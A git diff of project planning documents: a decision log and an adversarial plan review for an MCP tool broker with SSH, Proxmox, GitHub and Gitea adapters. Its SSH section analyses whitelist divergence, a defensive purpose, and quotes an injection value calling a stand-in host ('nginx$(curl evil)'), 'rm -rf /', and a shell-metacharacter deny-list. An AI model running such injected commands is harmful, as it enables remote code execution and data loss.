**Options considered:**
|
||||
- Next.js (App Router) + TypeScript, single SPA — one app for dashboard (M1) + chat (M3)
|
||||
- Separate Next.js apps (dashboard, chat) — clearer M1/M3 boundary, duplicate infra
|
||||
- Remix + TypeScript — similar DX, smaller ecosystem for SSE/streaming
|
||||
|
||||
**Decision:** **Next.js (App Router) + TypeScript, single SPA.** M1 ships the admin dashboard as server components; M3 adds the chat UI in the same app.**
|
||||
|
||||
**Rationale:** One app = one deploy, one auth flow, one RBAC map, one RLS-aware API gateway. The dashboard (M1) and chat (M3) share `packages/auth`, `packages/db`, `packages/audit` cleanly. App Router server components read via the API gateway (never bypassing RLS); M3's SSE streaming uses Route Handlers. TS-first aligns with the Trigger.dev rationale (spec §7 Q1).
|
||||
**Rationale:** One app = one deploy, one auth flow, one RBAC map, one RLS-aware API gateway. The dashboard (M1), chat (M3), and M2's Settings → Adapters + Test-Call UI all share `packages/auth`, `packages/db`, `packages/audit` cleanly. App Router server components read via the API gateway (never bypassing RLS); M2's SSE streaming uses Route Handlers.
|
||||
|
||||
**Confidence:** 0.85
|
||||
**Status:** approved (PO kickoff)
|
||||
**Affects:** ARCHITECTURE.md § apps/control-plane, apps/dashboard.
|
||||
**Status:** approved (PO kickoff, M1). Carried forward to M2.
|
||||
**Affects:** ARCHITECTURE.md § apps/control-plane, apps/dashboard. M2 adds `/api/mcp/*` routes and the Settings → Adapters + Test-Call UI in the same Next.js app.
|
||||
|
||||
---
|
||||
|
||||
## Spec-derived constraints (no decision needed — locked by spec)
|
||||
## D-006 — GitHub fine-grained PAT scope minimum (NEW in M2)
|
||||
|
||||
These are recorded for traceability; they are NOT clarify decisions, just restated spec locks that constrain the architecture.
|
||||
**Question:** The M2 spec §7 Q5 recommended `contents:read` + `metadata:read` as the GitHub PAT minimum. But M2's GitHub tools (`github.list_repos`, `github.get_recent_ci_runs`, `github.get_workflow_run`) do not read repo contents — they list repos (metadata) and read Actions runs (Actions scope). Should `contents:read` be required?
|
||||
|
||||
- **Trigger.dev** for durable execution (spec §7 Q1) — bootstrapped in Wave A, tasks added in M3.
|
||||
- **WorkOS** for SSO/SAML + SCIM (spec §7 Q2) — Wave B.
|
||||
- **Vanta** for GRC (spec §7 Q3) — instrumentation in M3 only.
|
||||
- **Install script (curl|bash), apt fallback** (spec §7 Q4) — Wave D, modular functions.
|
||||
- **Fixed SSH whitelist, no customer extension in v0.1** (spec §7 Q5) — file + hook in Wave D, adapter in M2.
|
||||
- **PVEAuditor built-in role** (spec §7 Q6) — M2 (adapter), documented now.
|
||||
- **Gitea via SaaS-to-API exposure** (spec §7 Q7) — M2 (adapter).
|
||||
- **pgvector for v1.1 RAG** (spec §7 Q8) — not v0.1.
|
||||
**Options considered:**
|
||||
- `contents:read` + `metadata:read` (spec recommendation) — broadens token scope to repo contents, which no M2 tool uses
|
||||
- `metadata:read` + `actions:read` (proposed) — scopes exactly match M2 tool requirements; no over-privilege
|
||||
- `metadata:read` only (minimum viable) — would fail at runtime for `get_recent_ci_runs` and `get_workflow_run` (need Actions scope)
|
||||
|
||||
**Decision:** **Fine-grained PAT with `metadata:read` + `actions:read` minimum (no `contents:read`).**
|
||||
|
||||
**Rationale:** M2's three GitHub tools require only Metadata (read) — required for all fine-grained PATs — and Actions (read). `contents:read` grants repo file contents access, which no M2 tool uses; including it broadens the attack surface for no benefit. Principle of least privilege: scope the token to exactly what the tools need. This is a deviation from the spec's Q5 recommendation, recorded here and applied to REQ-022/REQ-027 acceptance criteria during SPECIFY.
|
||||
|
||||
**Confidence:** 0.80
|
||||
**Status:** approved (PO, M2 spec lock 2026-08-25). Deviation from spec §7 Q5 recommendation.
|
||||
**Affects:** REQ-022, REQ-027 acceptance criteria (updated in REQUIREMENTS.md). The broker validates `metadata:read` + `actions:read` at adapter config submit time; per-tool scope validation at invocation time. Classic PATs (coarse `repo` scope) are rejected — fine-grained PATs only.
|
||||
|
||||
---
|
||||
|
||||
## D-007 — MCP transport architecture for M2 adapters (NEW in M2)
|
||||
|
||||
**Question:** The M2 spec §7 Q1 established that the broker implements MCP `2025-06-18` with three transport layers. For the broker ↔ adapter layer specifically, should adapters be MCP servers communicating over stdio (subprocess per adapter), or in-process modules using a custom MCP transport?
|
||||
|
||||
**Options considered:**
|
||||
- stdio subprocess per adapter (strict MCP server model) — each adapter is a spawned process communicating over stdin/stdout JSON-RPC; clean isolation but heavy overhead for same-process TS modules
|
||||
- in-process custom transport (proposed) — adapters are TS modules in the same process; broker emits `tools/list` and `tools/call` JSON-RPC messages in-process; MCP `2025-06-18` allows custom transports provided they preserve JSON-RPC format + lifecycle
|
||||
- HTTP-based adapter microservices — overkill for M2; adds network hop + deployment complexity
|
||||
|
||||
**Decision:** **In-process custom MCP transport for Proxmox/GitHub/Gitea adapters. The SSH adapter's MCP layer is also in-process, with downstream WebSocket transport to the M1 Relay Agent (Go binary) — the MCP `tools/call` JSON-RPC sits between broker and TS SSH adapter module; the TS module then calls the Relay Agent over M1's WebSocket.**
|
||||
|
||||
**Rationale:** MCP `2025-06-18` §Transports explicitly states: "Clients and servers MAY implement additional custom transports... Implementers who choose to support custom transports MUST ensure they preserve the JSON-RPC message format and lifecycle requirements." Spawning subprocesses for same-process TypeScript modules is unnecessary overhead — the adapters share the broker's `withTenant` transaction, `SecretProvider` access, and audit writer. The in-process custom transport preserves JSON-RPC 2.0 message format (`tools/list`, `tools/call` requests; `content[]` + `isError` results). For SSH, the in-process MCP layer wraps the existing M1 Relay Agent WebSocket — the MCP conformance is at the JSON-RPC layer (broker ↔ TS SSH module), and the WebSocket to the Relay Agent is downstream transport that does not affect MCP conformance. The Relay Agent's `CheckCommand` (M1 G-004 contract) is the execution-layer enforcement.
|
||||
|
||||
**Confidence:** 0.80
|
||||
**Status:** approved (PO, M2 spec lock 2026-08-25).
|
||||
**Affects:** REQ-015, REQ-016, REQ-021, REQ-026 implementation; ARCHITECTURE.md § MCP broker transport architecture. The broker ↔ UI uses REST facade + SSE (not MCP Streamable HTTP — a browser-friendly facade with MCP-compliant tool schemas/results inside). The broker ↔ CI/LLM smoke uses stdio transport.
|
||||
|
||||
---
|
||||
|
||||
## Spec-derived constraints (no decision needed — locked by M2 spec §7)
|
||||
|
||||
These are recorded for traceability; they are NOT clarify decisions, just restated spec locks that constrain the M2 architecture.
|
||||
|
||||
- **MCP spec version `2025-06-18`** (Q1) — latest stable with complete published documentation. Conformance verified against modelcontextprotocol.io (artifact at M2 gate).
|
||||
- **9-tool closed starter set** (Q2) — `proxmox.list_vms`, `proxmox.get_vm_status`, `proxmox.get_node_metrics`, `ssh.run_whitelisted_command`, `github.list_repos`, `github.get_recent_ci_runs`, `github.get_workflow_run`, `gitea.list_repos`, `gitea.get_recent_ci_runs`. Additions require spec amendment (v1.2+).
|
||||
- **6-command SSH whitelist subset** (Q3) — `uptime`, `df -h`, `free -m`, `systemctl status <svc>`, `journalctl -n <N>` (1-500), `systemctl list-units --type=service`. Broker validates before dispatch (layer 1); Relay `CheckCommand` validates at execution (layer 2).
|
||||
- **In-memory token-bucket rate limiting** (Q4) — per user (60/min) + per tenant (300/min), capacity = rate, refill 1/sec (user) / 5/sec (tenant). Redis migration path for M3.
|
||||
- **Version-aware Gitea scope validation** (Q6) — ≥1.22: `read:repository`; <1.22: any token with broker-side write-method blocklist.
|
||||
- **Per-call SSE streams with ULID correlation IDs** (Q7) — one stream per capability invocation; client disconnect cancels in-flight call, no audit event for client-side cancellation.
|
||||
- **`packages/llm-mock` as devDependency** (Q8) — CI-only, import-guarded against prod bundle.
|
||||
- **M2→M3 contract freeze** (Q9) — 5-endpoint REST+SSE contract frozen at M2 acceptance gate; M3 treats as stable API.
|
||||
|
||||
---
|
||||
|
||||
@@ -121,10 +134,12 @@ These are recorded for traceability; they are NOT clarify decisions, just restat
|
||||
|
||||
| ID | Decision | Confidence | Status |
|
||||
|----|----------|-----------|--------|
|
||||
| D-001 | OpenAI-compatible BYOM contract for M1 | 0.85 | approved |
|
||||
| D-002 | Relay Agent in Go | 0.90 | approved |
|
||||
| D-003 | AWS SM (prod) + local-encrypted (dev) behind interface | 0.85 | approved |
|
||||
| D-004 | Postgres append-only + hash-chain for M1 audit; S3 WORM in M3 | 0.80 | approved |
|
||||
| D-005 | Next.js (App Router) + TypeScript single SPA | 0.85 | approved |
|
||||
| D-001 | OpenAI-compatible BYOM contract for M1 (carried to M2) | 0.85 | approved |
|
||||
| D-002 | Relay Agent in Go (carried to M2) | 0.90 | approved |
|
||||
| D-003 | AWS SM (prod) + local-encrypted (dev) behind interface (carried to M2) | 0.85 | approved |
|
||||
| D-004 | Postgres append-only + hash-chain for M1 audit; S3 WORM in M3 (carried to M2) | 0.80 | approved |
|
||||
| D-005 | Next.js (App Router) + TypeScript single SPA (carried to M2) | 0.85 | approved |
|
||||
| D-006 | GitHub fine-grained PAT: `metadata:read` + `actions:read` minimum (no `contents:read`) | 0.80 | approved (deviation from spec Q5) |
|
||||
| D-007 | In-process custom MCP transport for TS adapters; SSH downstream WebSocket to M1 Relay | 0.80 | approved |
|
||||
|
||||
All above-threshold (≥0.6). No escalations. Pipeline proceeds to RESEARCH.
|
||||
+225
-137
@@ -1,10 +1,13 @@
|
||||
# GRILL.md — M1 Plan Adversarial Review
|
||||
# GRILL.md — M2 Plan Adversarial Review
|
||||
|
||||
**Reviewer:** CIAgent griller (red-team persona)
|
||||
**Subject:** `.ciagent/PLAN.md` — M1 plan (5 waves A–E + final phase)
|
||||
**Scope:** 17 M1 REQs (001–014, 038, 039, 040) + 4 PO high-stakes claims
|
||||
**Date:** 2026-08-24
|
||||
**Method:** 9-axis adversarial review with binding verdicts. Confidence ≥ 0.60 = binding; < 0.60 = escalate.
|
||||
**Reviewer:** ci-griller (red-team persona)
|
||||
**Subject:** `.ciagent/PLAN.md` — M2 plan (6 waves F/G/H/I/J/final + Wave 0 prerequisites)
|
||||
**Spec:** `.ciagent/steer-m2-spec.md` v1.0 (locked 2026-08-25, Sarah Chen)
|
||||
**Scope:** M2 — 13 REQs (015–027), 6 waves, MCP capability broker + 4 Day-1 adapters + SSE + rate-limiting + LLM smoke + Postgres 16 CI/RLS verification
|
||||
**Date:** 2026-08-25
|
||||
**Method:** 9-axis adversarial review with binding verdicts. Confidence ≥ 0.60 = binding; < 0.60 = escalate. Source verification grounded in actual M1 code (`apps/relay-agent/whitelist/whitelist.go`, `apps/control-plane/ws-server.ts`, `packages/db/src/withTenant.ts`, `packages/db/src/audit.ts`, `packages/secrets/src/provider.ts`, `apps/relay-agent/wsclient/client.go`, `packages/db/migrations/0001_init.sql`).
|
||||
|
||||
> **M1 GRILL preserved in git history** (commit prior to M2 overwrite, G-001..G-010). This M2 GRILL continues binding-fix numbering from G-011.
|
||||
|
||||
---
|
||||
|
||||
@@ -12,209 +15,294 @@
|
||||
|
||||
| Axis | Verdict | One-line rationale |
|
||||
|------|---------|-------------------|
|
||||
| 1. Feasibility | **PASS** | Each wave is a coherent vertical slice; Go binary + install script + WS server are well-trodden territory; no wave implies unsolved tech. |
|
||||
| 2. Scope | **PASS-WITH-FIXES** | Plan stays within the 17 M1 REQs, but the `/api/byom/test-inference` endpoint and the runtime health-check audit task are un-spec'd scope additions that need explicit PO acknowledgment. |
|
||||
| 3. Cost | **PASS-WITH-FIXES** | Decomposition is efficient and rework-minimizing, but Wave A ships Trigger.dev bootstrap (M3 infra) and Wave D ships an SSH whitelist hook with no caller in M1 — both are deliberate pre-investments that must be explicitly logged as debt-for-future-value, not hidden as "M1 work." |
|
||||
| 4. Dependencies | **PASS-WITH-FIXES** | Ordering is correct, but Wave D's WS server depends on Wave B's `/api/relay/issue-token` (auth token issuance) and the plan admits B and D must "coordinate the contract in the plan" — that contract is not specified here, creating a cross-wave coupling risk. |
|
||||
| 5. Testability | **PASS** | Every M1 REQ maps to ≥1 must-have pass/fail item; the 4 review deliverables are producible; coverage gate ≥80% is explicit. |
|
||||
| 6. Security | **PASS-WITH-FIXES** | RLS, audit REVOKE, secret provider, RBAC-from-first-endpoint, and SSH whitelist are sound patterns, but the per-tenant hash-chain has a chain-verification gap for concurrent writers, and the "no SSH execution in M1" whitelist hook can't be integration-tested against a real exec path — only unit-tested. |
|
||||
| 7. Architecture drift | **PASS** | Plan is faithful to ARCHITECTURE.md + all 5 CLARIFY decisions; no contradictions found. |
|
||||
| 8. Requirements coverage | **PASS-WITH-FIXES** | All 17 REQs have tasks + must-haves, but REQ-026 is listed as "whitelist hook only" in Wave D while its acceptance criteria (spec §4) describe full SSH-key auth + whitelist execution — the M1/M2 split is underspecified and the plan leans on a parenthetical, not a contract. |
|
||||
| 9. Operational readiness | **PASS-WITH-FIXES** | The M1 gate (spec §2.3) will pass and all 4 review deliverables are producible, but the install logs deliverable requires 3 OSes (Ubuntu 24.04, Debian 12+, unsupported) and the test strategy only lists 3 CI containers — Fedora as the "unsupported" case is an assumption, not a spec mandate; an unsupported-OS matrix needs explicit sign-off. |
|
||||
| 1. Requirements coverage | **PASS-WITH-FIXES** | All 13 REQs map to tasks + must-haves + tests, but the audit `event_type` union type must be extended (a hidden integration task the plan labels "additive — no schema change") and the 6 REQs with split ownership (broker in F, adapter in G/H/I) have no cross-wave contract for the adapter interface. |
|
||||
| 2. Closed tool set completeness (PO #1) | **PASS-WITH-FIXES** | The 9-tool set is a defensible conservative starter, but operators will demand `ps aux`/`ss -tlnp`/`top` (SSH), Proxmox node-list, and GitHub PR-list on day 1; the "additions require spec amendment" gate is enforceable only if the gaps are documented pre-ship so operators aren't surprised. |
|
||||
| 3. Defense-in-depth SSH (PO #2) | **PASS-WITH-FIXES** | The two-layer model is sound in principle, but the broker layer-1 validator and the Go `CheckCommand` layer-2 use *different* matching algorithms (TS regex per-command vs Go longest-prefix-match + deny-list), so divergence is not just possible but *expected* — and the plan's cross-layer test only asserts `rm -rf /` is rejected by both, not that a valid command is accepted by both. A command that passes broker validation but fails CheckCommand (or vice versa) is an untested failure mode. |
|
||||
| 4. INV-7 at the broker (PO #3) | **PASS-WITH-FIXES** | The method-based write-blocklist is sufficient for M2's REST-only fixed-endpoint adapters, but it is *weaker* than an endpoint allowlist, does not cover GraphQL mutations (a future risk), and relies on "GET = safe" which is not universally true for PVE (some PVE GETs have side effects). The plan overstates the blocklist as "the load-bearing safety boundary" — the closed 9-tool registry (REQ-015) is actually the primary boundary; the blocklist is a backstop for adapter bugs. |
|
||||
| 5. MCP conformance evidence (PO #4, lowest confidence 0.80) | **PASS-WITH-FIXES** | The synthetic `initialize` handshake is a facade (in-process, no wire), the 6 tests verify JSON-RPC *shape* not *interoperability*, and no external MCP client connects. The stdio transport for the LLM smoke is the only path a real MCP client traverses — but that path isn't part of the conformance suite. Conformance at 0.80 confidence is honest but the artifact doesn't prove an external MCP client could connect. |
|
||||
| 6. LLM smoke reliability (PO — P0, not deferrable) | **FAIL** | The 7-step smoke depends on real GitHub availability in CI, but **no CI pipeline exists** (`.github/workflows/` absent; STATE.md: "CI/CD: UNKNOWN — needs investigation"), there is no retry policy for GitHub outages/rate-limits, no fallback mock-GitHub adapter for the smoke, and the deterministic `llm-mock` pattern-matching is brittle (prompt wording drift → wrong `tool_call`). A P0 gate item resting on infrastructure that does not exist and a dependency with no fallback is the single biggest M2 delivery risk. |
|
||||
| 7. Wave ordering & parallelism | **PASS-WITH-FIXES** | F-first is correct, but G/H/I are not truly independent — they all consume F's adapter interface and `mcp_adapters` schema, and F ships *stub* adapters whose interface may diverge from real adapter needs, serializing G/H/I on F rework. The plan's parallelism diagram assumes F's stubs are contract-correct, which is unverified. |
|
||||
| 8. M1 non-regression | **PASS-WITH-FIXES** | M2 is additive at the DB layer, but the M1 audit `AuditEventType` TS union must be extended (compile-break), the WS server `handleMessage` switch must add a `tool_call` case (behavioral change to a shared file), and Wave 0 RLS verification against real Postgres 16 may surface M1 RLS bugs that PGlite never caught — which would block M2 on M1 rework. |
|
||||
| 9. Operational readiness | **FAIL** | The M2 gate (15 items) cannot pass because there is **no CI/CD pipeline at all** (gate items 5 and 6 require CI; `.github/workflows/` does not exist). The plan's entire test strategy — Postgres 16 service container, real GitHub PAT, two CI jobs (`test-pglite` + `test-postgres`), the LLM smoke — presupposes CI infrastructure that has never been provisioned. This is an M2-cycle P0 blocker that the plan treats as a Wave 0 "prerequisite" without acknowledging it doesn't exist. |
|
||||
|
||||
**Final Verdict: PASS-WITH-FIXES** — The plan is sound and shippable. The fixes below are binding; none warrant a FAIL (escalation), but each must be resolved before the wave it touches ships.
|
||||
**Final Verdict: FAIL** — Two P0 blockers (no CI pipeline; LLM smoke has no reliability fallback) prevent the M2 gate from passing as planned. Six axes are PASS-WITH-FIXES and resolvable with binding fixes G-011..G-022. The plan's architecture is sound; its operational foundation is not. EXECUTE must not begin until the two P0 blockers are resolved and the binding fixes are applied to PLAN.md.
|
||||
|
||||
---
|
||||
|
||||
## Axis 1: Feasibility
|
||||
|
||||
**Verdict: PASS**
|
||||
|
||||
Each wave is a vertical slice of known-complexity work. Wave A (Postgres RLS + append-only audit + secret provider + Trigger.dev bootstrap) is the densest but is well-researched (RESEARCH.md R-001/003/004) with concrete patterns. Wave D (Go binary + install script + WebSocket + whitelist) is the most heterogeneous but the Go persona is correctly scoped (PERSONAS.md) and `gorilla/websocket` + systemd is commodity. No wave implies an unsolved technical problem or a "learn as we go" risk on the delivery path. The one feasibility flag — Trigger.dev bootstrap with no tasks in M1 — is explicitly a no-op health check, which is the right de-risking choice.
|
||||
|
||||
---
|
||||
|
||||
## Axis 2: Scope
|
||||
## Axis 1: Requirements Coverage
|
||||
|
||||
**Verdict: PASS-WITH-FIXES**
|
||||
|
||||
The plan maps cleanly to the 17 M1 REQs; no M2 (REQ-015–027) or M3 (REQ-028–037, 041–044) work is silently included. The out-of-scope list (REQUIREMENTS.md §Out of Scope) is respected. However, two un-spec'd scope additions exist in the plan and should be made explicit rather than smuggled in:
|
||||
Every one of the 13 M2 REQs (015–027) has a task, a must-have, and a test in the plan:
|
||||
|
||||
1. `POST /api/byom/test-inference` (Wave C, Task 3) is not in spec §4. Spec REQ-008 says "100% of LLM inference calls are sent to the configured BYOM endpoint (verified via outbound traffic log)" — in M1 there is no chat/orchestration to drive inference. The plan invents a test endpoint to *prove* REQ-008 without M3. This is a reasonable proxy, but it is a new surface and should be flagged as a plan-time scope addition, not implied by REQ-008.
|
||||
2. The Trigger.dev `runtimeHealthCheck` task that "appends an audit entry every 5 min" (Wave A, Task 7; R-001) writes synthetic audit entries with no business event behind them. REQ-038 lists "prompt, tool call, SSH command, response" as auditable events — a health-check tick is none of those. This pollutes the audit store with non-spec'd events and sets a precedent that "anything can append to audit_log."
|
||||
| REQ | Wave | Task | Must-have | Test | Verdict |
|
||||
|-----|------|------|-----------|------|---------|
|
||||
| REQ-015 | F | T2 registry | ✓ | conformance `tools-list.test.ts` | ✓ |
|
||||
| REQ-016 | F | T3 router | ✓ | conformance `tools-call-happy.test.ts` | ✓ |
|
||||
| REQ-017 | F+J | T6 stream + J T4 UI | ✓ | SSE tests + UI | ✓ |
|
||||
| REQ-018 | F | T4 write-blocklist | ✓ | per-adapter test at gate | ✓ |
|
||||
| REQ-019 | F | T5 rate-limiter | ✓ | 429 tests | ✓ |
|
||||
| REQ-020 | G | G T1-2 | ✓ | mock PVE | ✓ |
|
||||
| REQ-021 | H | H T1-2 | ✓ | cross-layer test | ✓ |
|
||||
| REQ-022 | I | I T1-2 | ✓ | real GitHub smoke | ✓ |
|
||||
| REQ-023 | I | I T4-5 | ✓ | mock + running instance | ✓ |
|
||||
| REQ-024 | F | T11 | ✓ | multi-target test | ✓ |
|
||||
| REQ-025 | G | G T3 | ✓ | mock validation | ✓ |
|
||||
| REQ-026 | H | H T1-3 | ✓ | cross-layer + Go tests | ✓ |
|
||||
| REQ-027 | I | I T3,T6 | ✓ | scope-validation tests | ✓ |
|
||||
|
||||
**Required fixes:**
|
||||
1. Add a one-line note to Wave C Task 3 that `/api/byom/test-inference` is a plan-time proxy endpoint to satisfy REQ-008 in the absence of M3 orchestration; mark it for removal/deprecation when M3 lands. Get PO acknowledgment (non-blocking, but recorded).
|
||||
2. Change the Wave A Trigger.dev health task to write to a separate `runtime_health` table or log, NOT `audit_log`. REQ-038's audit store is for business events only. If a health tick must be auditable, define a new `event_type: "system.health"` and add it to the spec's auditable-event list via a follow-up — do not silently widen REQ-038's scope in Wave A.
|
||||
**Two hidden integration gaps:**
|
||||
|
||||
1. **The audit `event_type` union type must be extended.** The M1 source (`packages/db/src/audit.ts:24-32`) defines `AuditEventType` as a TS union: `"prompt" | "tool_call" | "ssh_command" | "response" | "config" | "auth" | "provision" | "validation"`. The M2 plan calls for new event types `adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected` — none of which are in the union. The DB column (`0001_init.sql:93`) is `TEXT NOT NULL` with a *comment* listing types but **no CHECK constraint**, so the DB will accept the new types without migration. **But `appendAudit(client, event)` is typed to reject them at compile time.** The plan repeatedly says "additive — no schema change" (PLAN.md:208, ARCHITECTURE.md:42). That is true at the DB layer and false at the TS layer. This is a real integration task hidden inside "additive," and it belongs to no wave's task list explicitly.
|
||||
|
||||
2. **The broker↔adapter interface contract is not specified between F and G/H/I.** Wave F ships "stub adapters for testing" (T13) — one per type, canned responses. Waves G/H/I plug in real adapters. But the *interface* between the broker and an adapter (the in-process custom transport's `tools/list` and `tools/call` shape, the adapter registration contract, the `SecretProvider.get` call pattern, the audit-event-append responsibility) is not written down as a contract F owns. If the real adapters in G/H/I need a different shape than F's stubs, F rework serializes G/H/I. The plan's parallelism diagram (PLAN.md:528-542) assumes the stubs are contract-correct; that assumption is unverified.
|
||||
|
||||
**Confidence: 0.82** — both gaps are fixable in the plan; neither is a spec defect.
|
||||
|
||||
---
|
||||
|
||||
## Axis 3: Cost
|
||||
## Axis 2: Closed Tool Set Completeness (PO Expectation #1)
|
||||
|
||||
**Verdict: PASS-WITH-FIXES**
|
||||
|
||||
The decomposition is efficient: A→B/C parallel→D parallel→E is a near-critical path with real parallelism, and each wave ships a patch (releasable), avoiding a big-bang. The pre-investments are sound: shipping the whitelist hook in M1 (D-002 rationale) and the Trigger.dev runtime in M1 (R-001) are explicitly to avoid M2/M3 rewrites — this is the right trade. But the plan presents these as M1 deliverables without quantifying the cost-vs-future-value, which is exactly how "we'll add it later" debt gets hidden:
|
||||
The 9-tool starter set (REQ-015) is a defensible conservative choice for a read-only Day-1 wedge. The "additions require spec amendment (v1.2+)" gate (spec §7 Q2, CLARIFY.md:123) is the correct scope-control mechanism and *is* enforceable: the broker's registry is a closed enumeration with no "custom tool" endpoint, and per-tenant policy can only disable, never add. That gate holds.
|
||||
|
||||
1. Wave A's Trigger.dev bootstrap (Task 7) is M3 infrastructure shipped in M1. It has no M1 caller. Its only M1 value is "proves the runtime works." That's a spike, not a deliverable — and spikes belong on a spike line, not the M1 acceptance gate.
|
||||
2. Wave D's SSH whitelist hook (Task 6) ships `CheckCommand` + whitelist JSON + unit tests with **no SSH execution path** in M1. This is correctly per the PO claim ("M2 plugs the adapter into the existing hook"), but it means M1 pays the cost of designing a hook against an imaginary caller. The cost is justified *if and only if* M2 actually uses the hook as-shipped. The plan provides no contract guaranteeing that.
|
||||
**But the plan does not document the known gaps, which guarantees operator surprise post-ship.** Operators of enterprise infrastructure will, on day 1, reach for tools that are conspicuously absent:
|
||||
|
||||
**Required fixes:**
|
||||
3. Annotate Wave A Task 7 and Wave D Task 6 in PLAN.md as "pre-investment for M2/M3" with a one-line expected-payoff (avoids rewrite of X). This makes the cost visible in the plan rather than buried in a task list. Non-blocking, but required for audit traceability.
|
||||
4. Add a binding note to Wave D Task 6: "The `CheckCommand(cmd) error` signature and whitelist JSON schema are the M2 SSH adapter contract. M2 must consume them as-shipped; any signature change requires a documented migration." This locks the future-value claim the plan is spending M1 cost on.
|
||||
- **SSH/Linux:** `ps aux` (process list — the first command an SRE runs when diagnosing a hung service), `ss -tlnp` (listening ports — core security audit), `top` (load), `ip addr`/`ip route` (network). M1's *broader* whitelist (`whitelist.go` ships `ps, top, ss, netstat, ip, ...` per RESEARCH.md R-003) already permits these at the Relay Agent layer — but M2's 6-command broker subset (`uptime, df -h, free -m, systemctl status, journalctl -n, systemctl list-units --type=service`) deliberately excludes them. So an operator who sees the Relay Agent supports `ps aux` at the Go layer will be told "no" at the broker layer. That gap is *intentional* (conservative subset) but undocumented in the user-facing surface.
|
||||
|
||||
- **Proxmox:** there is no `proxmox.list_nodes` tool — `proxmox.list_vms` *requires* a `node` argument (REQ-015, R-002), but the operator has no way to discover node names through the tool set. The plan's UI workaround ("the operator knows their node names," R-002) is a UX cop-out for a multi-node cluster. An operator with 4 PVE nodes must guess or look up node names externally. This is a day-1 UX gap.
|
||||
|
||||
- **GitHub:** `github.list_repos` returns "up to 100 repos (first page)" (R-004, PLAN.md:378) — no pagination, no PR list, no issue list. For an org with >100 repos, the tool silently truncates. `github.get_workflow_run` exists but `github.list_workflows` (the workflow catalog) does not — so to call `get_workflow_run` you need a `run_id` you can only get from `get_recent_ci_runs`. The flow works but is not discoverable.
|
||||
|
||||
- **Gitea:** no `gitea.get_workflow_run` (deferred to v1.2+ per Q2) — so Gitea users get a strictly weaker surface than GitHub users for the same adapter class.
|
||||
|
||||
The "additions require spec amendment" gate is the right *governance* answer, but it does not solve the *expectation* problem. If these gaps are not documented in the Settings → Adapters UI help text *before ship*, operators will file P1 bugs that the plan will then have to triage as "wontfix — spec amendment required." That's a support cost the plan is silently incurring.
|
||||
|
||||
**The enforcement question (PO #1: "is the gate actually enforceable, or will there be pressure to add tools mid-M2?"):** The gate is enforceable *technically* (closed registry, no endpoint). It is **not** enforceable *politically* if the gaps above cause a customer-blocking issue during a Day-1 deployment. The pressure vector is: a paying customer cannot diagnose an incident because `ps aux` is missing, and the sales/engineering loop demands an emergency tool addition "just this once." The gate holds only if the gaps are named pre-ship so the customer agrees to the closed set *with eyes open*. Documentation is the mitigation; the gate itself does not prevent pressure.
|
||||
|
||||
**Confidence: 0.78** — the set is sound; the documentation of gaps is the fix.
|
||||
|
||||
---
|
||||
|
||||
## Axis 4: Dependencies
|
||||
## Axis 3: Defense-in-Depth SSH (PO Expectation #2)
|
||||
|
||||
**Verdict: PASS-WITH-FIXES**
|
||||
|
||||
The wave ordering is correct: A is the true foundation (withTenant/audit/secrets), B and C depend only on A, D depends on A + a piece of B (auth token issuance), E depends on B + D. The parallelism diagram (PLAN.md §Wave ordering) is accurate. The gap is the one the plan itself flags but does not resolve:
|
||||
The two-layer model — broker validates `command` (layer 1, TS) before dispatch, Relay Agent `CheckCommand` validates (layer 2, Go) at execution — is the right architecture. Layer 1 (6-command subset) is *stricter* than layer 2 (M1's broader whitelist: `cat, ls, systemctl status, journalctl, df, du, ps, top, ss, netstat, ip, uptime, ...` per RESEARCH.md R-003 and confirmed in `whitelist_test.go:80-108`), which is correct defense-in-depth: the inner layer must reject everything the outer rejects, plus more.
|
||||
|
||||
- PLAN.md line 235: "D can run in parallel after A (independent of B/C; the WS server in D needs B's auth token-issuance endpoint — coordinate the contract in the plan, then D's WS server + B's token endpoint can land in the same wave window)."
|
||||
**But the two implementations use fundamentally different matching algorithms, and the plan does not test the divergence case.**
|
||||
|
||||
This is an admission that D is **not** independent of B — it depends on `POST /api/relay/issue-token` (Wave B Task 1, wait — actually this endpoint is listed in Wave D Task 1, owned by backend-engineer). There's a territorial ambiguity: the token-issuance endpoint is in Wave D's task list (D Task 1) but the plan's parallelism note says it lives in B's window. Which wave owns the token contract? If D's go-engineer is blocked waiting on B's auth middleware to issue tokens, D does not truly parallelize.
|
||||
- **Broker layer 1 (TS, planned `packages/mcp/adapters/ssh/whitelist-check.ts`):** regex per command — `uptime` exact match; `df -h` exact; `systemctl status ` + `^[a-zA-Z0-9_.-]+$` service name; `journalctl -n ` + `^([1-9][0-9]{0,2}|500)$`; `systemctl list-units --type=service` exact. This is a **per-command rule table**, not a general parser. It does not tokenize.
|
||||
|
||||
**Required fixes:**
|
||||
5. Resolve the Wave B / Wave D token-issuance ownership in PLAN.md: explicitly state that `POST /api/relay/issue-token` (currently Wave D Task 1) is owned by **backend-engineer** and lands in whichever wave ships first, but that the *contract* (token format, scope, rotation) is defined in Wave A's secrets package so neither B nor D blocks on the other's implementation. Add the contract spec (token format: JWT? opaque? lifetime?) to Wave A or Wave B as a must-have.
|
||||
- **Relay Agent layer 2 (Go, `whitelist.go:92-149`):** a **tokenizer + longest-prefix-match** against the whitelist `Commands` array, *then* a deny-list scan (`Arguments.Deny`: `-exec, |, >, >>, &, ;, &&, ||, ...`). The Go layer does *not* validate the service-name character set for `systemctl status <svc>` — it accepts any tokens after the `systemctl status` prefix as long as no deny token appears. So `systemctl status nginx; rm -rf /` — the Go layer would reject because `;` is in the deny list. But `systemctl status nginx$(curl evil)` — the Go layer would *accept* because `$`, `(`, `)` are not in the deny list, and the prefix `systemctl status` matches. The broker layer 1 (regex `^[a-zA-Z0-9_.-]+$`) would reject `nginx$(curl evil)` because `$(` are not in the character class. **So the two layers disagree on `systemctl status nginx$(curl evil)`: broker rejects (good), Go accepts (bad, but harmless because `exec.Command` with split argv runs `systemctl status nginx$(curl evil)` as a literal service name — no shell expansion, so the `$()` is not executed).** The no-shell `exec.Command` (split argv) is the third enforcement layer and saves the Go layer here. But the divergence is real and untested.
|
||||
|
||||
